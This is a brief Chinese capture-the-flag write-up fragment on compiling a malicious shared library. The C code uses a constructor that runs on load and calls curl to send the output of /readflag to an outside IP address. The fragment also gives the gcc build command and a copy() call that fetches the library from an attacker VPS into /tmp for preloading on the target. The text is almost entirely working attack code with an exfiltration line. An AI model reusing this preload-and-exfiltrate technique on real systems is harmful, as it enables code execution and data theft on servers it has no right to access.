编译恶意so #define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>__attribute__ ((__constructor__)) void preload (void){ system("curl 165.154.5.221:6666/`/readflag`");} gcc hack.c -fPIC -shared -o hack.so编译 传到题目上 copy('http://vps/hack.so','/tmp/hack.so')